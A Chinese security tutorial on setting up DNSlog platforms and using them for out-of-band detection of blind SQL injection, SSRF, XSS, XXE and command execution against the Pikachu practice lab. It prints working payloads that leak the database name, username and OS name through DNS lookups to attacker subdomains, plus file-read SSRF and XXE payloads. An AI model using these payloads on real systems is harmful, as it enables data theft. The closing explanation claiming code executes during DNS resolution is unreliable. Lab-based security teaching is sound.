【安全工具】DNSlog工具原理搭建及使用(非常详细)零基础入门到精通,收藏这一篇就够了

427 篇文章 4 订阅
305 篇文章 0 订阅

网安教育

培养网络安全人才

技术交流、学习咨询

DNSlog是什么

PART.01

DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

DNSlog回显原理

PART.02

域名分级与域名解析过程(DNS)

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:

tieba.baidu.com

它由三个标号组成, com即为顶级域名,baidu为二级域名,tieba即为三级域名。且域名不分区大小写。

比如说,我注册了一个为luomiweixiong.com的域名,我将 它的a记录泛解析到139.x.x.x上,这样就实现了无论我记录值填什么他都有解析,并且都指向139.x.x.x,当我向dns服务器发起test.luomiweixiong.com的解析请求时,DNSlog中会记录下他给test.luomiweixiong.com解析,解析值为139.x.x.x.

免费的平台

PART.03

1http://www.dnslog.cn  
2http://admin.dnslog.link  
3http://ceye.io  

http://www.dnslog.cn使用方法

(1)Get SubDomain的意思是获取子域名,这里点击完就给我们一个三级域名。复制完后,打开新网页并粘贴在url上,访问

(2)在本机实验演示

ping命令的时候会用到DNS解析

ping命令的时候会用到DNS解析

解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog。

原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

dns缓存可能造成记录不刷新,此时更换新的域名即可。

其它平台同理。

DNSlog使用的地方

PART.04

目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

搭建自己的dnslog平台

PART.05

前提:一台公网ip的VPS和一个域名

域名利用freenom网站或eu.org或pp.ua注册即可

利用Cloudflare进行解析

因为Freenom本地的解析在国内不够好用,咱们就换个。

注册cloudflare账号

配置你的域名

配置NameServer,指向CloudFlare。

xxx.ns.cloudflare.com

xxx.ns.cloudflare.com

配置NS记录

分别申请两个DNS记录,NS记录代表子域名log.where.cf的DNS服务器为ns.where,cf

测试是否生效

网上python2的dns脚本

 1#/usr/bin/python2  
 2# -*- coding:utf-8 -*-  
 3from twisted.internet import reactor, defer  
 4from twisted.names import client, dns, error, server  
 5record={}  
 6class DynamicResolver(object):  
 7    def _doDynamicResponse(self, query):  
 8        name = "query.name.name" #修改域名   
 9        # 返回指定应答IP  
10        ip = "x.x.x.x"  
11        print(name+" ===> "+ip)  
12        answer = dns.RRHeader(  
13        name=name,  
14        type=dns.A,  
15        cls=dns.IN,  
16        ttl=0, # 这里设置DNS TTL为 0  
17        payload=dns.Record_A(address=b'%s'%ip,ttl=0)  
18    )  
19    answers = [answer]  
20    authority = []  
21    additional = []  
22    return answers, authority, additional  
23def query(self, query, timeout=None):  
24    return defer.succeed(self._doDynamicResponse(query))  
25def main():  
26    factory = server.DNSServerFactory(  
27    clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]  
28)  
29protocol = dns.DNSDatagramProtocol(controller=factory)  
30reactor.listenUDP(53, protocol)  
31reactor.run()  
32if __name__ == '__main__':  
33raise SystemExit(main())

python2和pip在ubuntu中安装

1add-apt-repository universe  
2apt update   
3apt install python2  
4curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py  
5python2 get-pip.py  

注:国内域名可能有需要备案问题

如果是云服务器,到防火墙中开放自己的53端口

临时解决:

53端口被占用,lsof -i:53查看pid,kill -9 pid,ubuntu关闭systemctl stop systemd-resolved

长期生效:

vim /etc/systemd/resolved.conf,如下图配置,关闭监听。

接着重启服务, systemctl restart systemd-resolved

vim /etc/resolv.conf

部署DNS服务

将dnslog的liunx版本从github下载到vps中

https://github.com/yumusb/DNSLog-Platform-Golang

https://github.com/lanyi1998/DNSlog-GO/releases/

https://github.com/chennqqi/godnslog

ubuntu 完全干净的卸载docker

 1#docker --version  
 2apt-get autoremove docker docker-ce docker-engine  docker.io  containerd runc  
 3#删除docker其他没有没有卸载  
 4dpkg -l | grep docker  
 5dpkg -l |grep ^rc|awk '{print $2}' |sudo xargs dpkg -P  
 6#卸载没有删除的docker相关插件(结合自己电脑的实际情况)  
 7apt-get autoremove docker-ce-*  
 8#删除docker的相关配置&目录  
 9rm -rf /etc/systemd/system/docker.service.d  
10rm -rf /var/lib/docker  
11##删除docker的相关配置&目录  
12docker --version

DNSLog-Platform-Golang

下载

1git clone https://github.com/yumusb/DNSLog-Platform-Golang  

编辑配置文件

1cd DNSLog-Platform-Golang  
2 vi config.tomal  

 1[front]  
 2template = "index.html"  
 3[back]  
 4listenhost = "0.0.0.0"  
 5listenport = 11111  
 6domains = [ "log.xxx.xx"]  
 7cname = ""  
 8[basicauth]  
 9check = false  
10username = "yumu"  
11password = "yumusb"

前端模板文件

后端监听的主机、端口、域名、与CNAME响应

HTTP BASIC AUTH的是否打开(check=true)与密码配置

go环境配置

1go env -w GO111MODULE=on  
2go env -w  

GOPROXY=https://goproxy.cn,direct #可选,国内机器不能上github则需要执行此处以设置{代}{理}

go run main.go或者nohup go run main.go &

Knary

二进制文件部署:

1wget https://ghproxy.com/https://github.com/sudosammy/knary/releases/download/v3.3.1/knary-3.3.1-linux-amd64  
2chmod +x knary-3.3.1-linux-amd64  
3mv knary-3.3.1-linux-amd64 knary  
4./knary  

如果二进制不安全,可以考虑Docker 快速搭建:

1export GIT_SSL_NO_VERIFY=0  
2git clone http://ghproxy.com/https://github.com/sudosammy/knary.git  
3# 编辑docker-compose.yaml的信息  
4vim docker-compose.yaml  

环境变量信息有两种配置方式,一种是利用当目前的.env文件,一种是直接配置环境变量environment,也可以混合来用,我这里先配置下CANARY_DOMAIN=CANARY_DOMAIN=log.xxxx.xxx

 1version: "3.9"  
 2services:  
 3  knary:  
 4   container_name: knary  
 5    hostname: knary  
 6    restart: always  
 7    env_file:  
 8  - .env # as commented below, you can also use the `environment` key to specify variables. This will overwrite anything in `env_file`  
 9# environment:  
10#   - DNS=true  
11#   - HTTP=true  
12#   - BIND_ADDR=127.0.0.1  
13   - CANARY_DOMAIN=log.log4j2.ga  
14# (etc. etc.)  
15build: .  
16ports:  
17  - "80:80"  
18  - "443:443"  
19  - "53:53/udp"  
20volumes:  
21  - ./certs:/certs/

编辑一份环境变量:

 1vim .env  
 2# 内容  
 3# RENAME ME TO .env  
 4DNS=true  
 5HTTP=true  
 6BIND_ADDR=0.0.0.0  
 7CANARY_DOMAIN=log.log4j.ga  
 8LETS_ENCRYPT=xxxxx@qq.com  
 9EXT_IP=1x1.xxx.1xx.x3  
10DEBUG=true  
11LOG_FILE=knary.log

有两种方法,快速配置HTTPS证书:

1)自签名证书

当前目录创建一个cert文件夹

1mkdir certs  

openssl创建证书

1sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./certs/selfsigned.key -out ./certs/knary.crt  

信息可以随意填

2)Let’s Encrypt 免费https,Kanry自带,只需要配置好邮箱即可,推荐使用这种!

docker-compose启动

1# 卸载原先docker  
2apt-get remove -y remove docker  
3# 安装最新docker  
4curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun  
5# 安装docker-compose  
6sudo curl -L   
7"https://ghproxy.com/https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/bin/docker-compose  
8sudo chmod +x /usr/bin/docker-compose  

Ubuntu构建过程可能会报错,修改/etc/resolv.conf的值为这个即可

1nameserver 8.8.8.8  
2nameserver 114.114.114.114  
3nameserver 127.0.0.53  
4nameserver 223.5.5.5  
5options edns0  

如果出现不生效可以参考:

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

为了兼容国内VPS还需要修改Dockerfile添加Golang代理,要不然go get会失败:

1RUN export GOPROXY=https://goproxy.io && go get 

Hyuga

git下载

1git clone https://github.com/Buzz2d0/Hyuga.git  
2cd Hyuga  

修改config.xml文件

main中填写自己的域名(比如是log.xxx.xx)

修改对应的ns为自己的ns域名(比如ns.xxx.xx)

Docker快速组建:

1docker-compose build  
2docker-compose up -d  

成功后如官网demo所示

Interactsh

手工搭建

安装Golang 1.16.1环境:

 1apt-get update  
 2apt-get -y upgrade  
 3apt install  -y gcc  
 4mkdir tmp  
 5cd /tmp  
 6wget https://dl.google.com/go/go1.16.1.linux-amd64.tar.gz  
 7tar -xvf go1.16.1.linux-amd64.tar.gz   
 8mv go /usr/local/  
 9echo "export GOROOT=/usr/local/go" >>  ~/.profile  
10echo "export GOPATH=$HOME/go" >>  ~/.profile  
11echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.profile  
12source ~/.profile

安装Interachsh Server

1go get -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest  

docker搭建

1docker run projectdiscovery/interactsh-server:latest -domain log.log4j.ga  

SSRF盲打

PART.06

靶场实例练习

Pikachu 靶场一个 SSRF 漏洞 实例:

点击链接发现发现它通过一个 url 参数传递了一个 URL 给后台并读取文件(可能靶场环境问题此处没成功读取到诗歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):

修改 url 参数为如下,可借助 SSRF 漏洞进行内网端口探测:

url=http://127.0.0.1:3306

修改 url 参数为如下,可借助 SSRF 漏洞读取本地文件:

url=file:///C:/Windows/system32/drivers/etc/hosts

在 DNSlog 平台申请一个子域名,然后访问 ?url=https://i-blog.csdnimg.cn/blog_migrate/a6dddda4231770d91bdc76e086bfb552.png,如下:

XSS的盲打

PART.07

在实战中能真正能构成致命性损伤的 XSS 类型就是储存型 XSS,一般是从前台打到后台,一般反射型 XSS 我们常见做法一般是给自己弹个 alert 就可以知道这个语句有没有执行,有没有被屏蔽。但是前台打到后台的储存型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。

,比如说这有个留言框,我们输入个 Payload 如下:

好的管理员!

因为 script 标签的 src 是在加载后就自动去请求的,并且 http 协议仍然会用到 dns 协议,当管理员从留言板看到这条消息的时候浏览器就会自动去请求 http://testxss.a.com,这样子的话,就会在 DNSlog 里留下如下记录:

testxss.a.com 10.0.0.0

当我们在 dnslog 里看到了这条记录的时候,就说明盲打 XSS 存在了。

靶场 XSS 盲打实例

以 Pikachu 靶场的一个 XSS 漏洞环境为例:

插入 即可触发弹窗:

接下来插入:

可以在 DNSlog 平台看到对应的请求记录:

此处的 Payload 使用也可以

XXE的盲打

PART.08

对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。

XXE 盲打靶场实例

以 Pikachu 靶场的 XXE 漏洞环境为例:

先构建常规测试 Payload:

1<?xml version = "1.0"?>  
2<!DOCTYPE note [  
3<!ENTITY hacker "Tr0e">  
4]>  
5<name>&hacker;</name>  

借助 XXE 漏洞构造读取本地文件的 Payload:

1<?xml version="1.0"?>   
2<!DOCTYPE foo [      
3<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>   
4<foo>&xxe;</foo>  

假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:

]>

&xxe;

SQL的盲注

PART.09

不论是布尔型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代 WAF 的防护下,很可能导致 IP 被 ban。我们可以结合 DNSlog 完美快速的将数据取出。如遇到 MySql 的盲注时,可以利用内置函数 load_file() 来完成 DNSlog,load_file()不仅能够加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。

SQL盲注靶场实例

下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:

输入kobe’ and 1=1#可成功查询:

输入kobe’ and 1=2#查询失败:

输入利用 DNSlog 回显数据库名称的 Payload:

?id=1’ and load_file(concat(‘\\\\’,(select database()),‘.stzi44.dnslog.cn\\abc’))–+

注:dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入

RCE的盲打

**PART.**10

操作系统盲注方式

windows%variable%

linux反引号 variable 反引号

windows Payload:

%OS%.8b7b7d7c.log.xxx.cf

windows常用变量

 1//变量                 类型       描述  
 2//%ALLUSERSPROFILE%   本地       返回“所有用户”配置文件的位置。  
 3//%APPDATA%           本地       返回默认情况下应用程序存储数据的位置。  
 4//%CD%                                                        本地       返回当前目录字符串。  
 5//%CMDCMDLINE%        本地       返回用来启动当前的 Cmd.exe 的准确命令行。  
 6//%CMDEXTVERSION%     系统       返回当前的“命令处理程序扩展”的版本号。  
 7//%COMPUTERNAME%      系统       返回计算机的名称。  
 8//%COMSPEC%           系统       返回命令行解释器可执行程序的准确路径。  
 9//%DATE%              系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。  
10//%ERRORLEVEL%        系统       返回上一条命令的错误代码。通常用非零值表示错误。  
11//%HOMEDRIVE%         系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
12//%HOMEPATH%          系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
13//%HOMESHARE%         系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
14//%LOGONSERVER%       本地       返回验证当前登录会话的域控制器的名称。  
15//%NUMBER_OF_PROCESSORS%         系统      指定安装在计算机上的处理器的数目。  
16//%OS%                           系统      返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。  
17//%PATH%                         系统       指定可执行文件的搜索路径。  
18//%PATHEXT%                      系统       返回操作系统认为可执行的文件扩展名的列表。  
19//%PROCESSOR_ARCHITECTURE%       系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。  
20//%PROCESSOR_IDENTFIER%          系统       返回处理器说明。  
21//%PROCESSOR_LEVEL%              系统       返回计算机上安装的处理器的型号。  
22//%PROCESSOR_REVISION%           系统       返回处理器的版本号。  
23//%PROMPT%                       本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。  
24//%RANDOM%                       系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。  
25//%SYSTEMDRIVE%                  系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。  
26//%SYSTEMROOT%                   系统       返回 Windows server operating system 根目录的位置。  
27//%TEMP%和%TMP%                  系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。  
28//%TIME%                         系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。  
29//%USERDOMAIN%                   本地       返回包含用户帐户的域的名称。  
30//%USERNAME%                     本地       返回当前登录的用户的名称。  
31//%USERPROFILE%                  本地       返回当前用户的配置文件的位置。  
32//%WINDIR%                       系统       返回操作系统目录的位置。

如果是 Linux 环境,则 Payload 对应的应该为:

1ping `whoami`.8b7b7d7c.log.xxx.cf  

参考:

https://bbs.ichunqiu.com/thread-61037-1-1.html

https://www.jianshu.com/p/0c1c23d80098

https://cloud.tencent.com/developer/news/221937

https://github.com/ADOOO/DnslogSqlinj

https://idc.wanyunshuju.com/aqst/1889.html

https://www.cnblogs.com/Chorder/p/9087386.html

https://www.jianshu.com/p/721b49c95d98

https://forum.butian.net/share/1055

https://blog.csdn.net/qq_43416157/article/details/116788106

https://cloud.tencent.com/developer/article/1710514

https://blog.csdn.net/booklijian/article/details/116491288?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&utm_relevant_index=1

https://blog.csdn.net/weixin_39190897/article/details/117197126

es !

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

DNSLog注入是一种利用DNS协议的安全漏洞进行攻击的方法。它利用了DNS服务器对于域名解析请求的处理方式,通过在恶意构造的域名中插入恶意代码,从而实现对目标系统的攻击或信息收集。 具体的注入原理如下: 1. DNS解析过程:当用户在浏览器中输入一个URL并发送请求时,操作系统会将URL发送给本地DNS服务器进行解析。DNS服务器会向根域名服务器发起查询请求,逐级查询直到找到对应的IP地址。 2. 恶意域名构造:攻击者构造一个恶意域名,其中包含了恶意代码或者指向恶意服务器的IP地址。恶意代码可以是任意可执行的代码,如JavaScript代码、Shell命令等。 3. DNS解析注入:攻击者向本地DNS服务器发送一个查询请求,并在请求中包含恶意域名。本地DNS服务器在解析该域名时,会向上级DNS服务器发起查询请求,直到找到对应的IP地址。在这个查询过程中,恶意代码会被执行。 4. 恶意代码执行:当上级DNS服务器将查询结果返回给本地DNS服务器时,本地DNS服务器会将结果返回给用户的操作系统。操作系统接收到结果后,会将其交给浏览器进行处理。如果结果中包含恶意代码,浏览器会执行该代码。 通过以上的注入原理,攻击者可以实现对目标系统的攻击,如执行恶意脚本、获取敏感信息等。为了防止DNSLog注入攻击,可以采取一些安全措施,如使用DNSSEC来验证DNS响应的真实性、限制DNS解析的递归查询等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值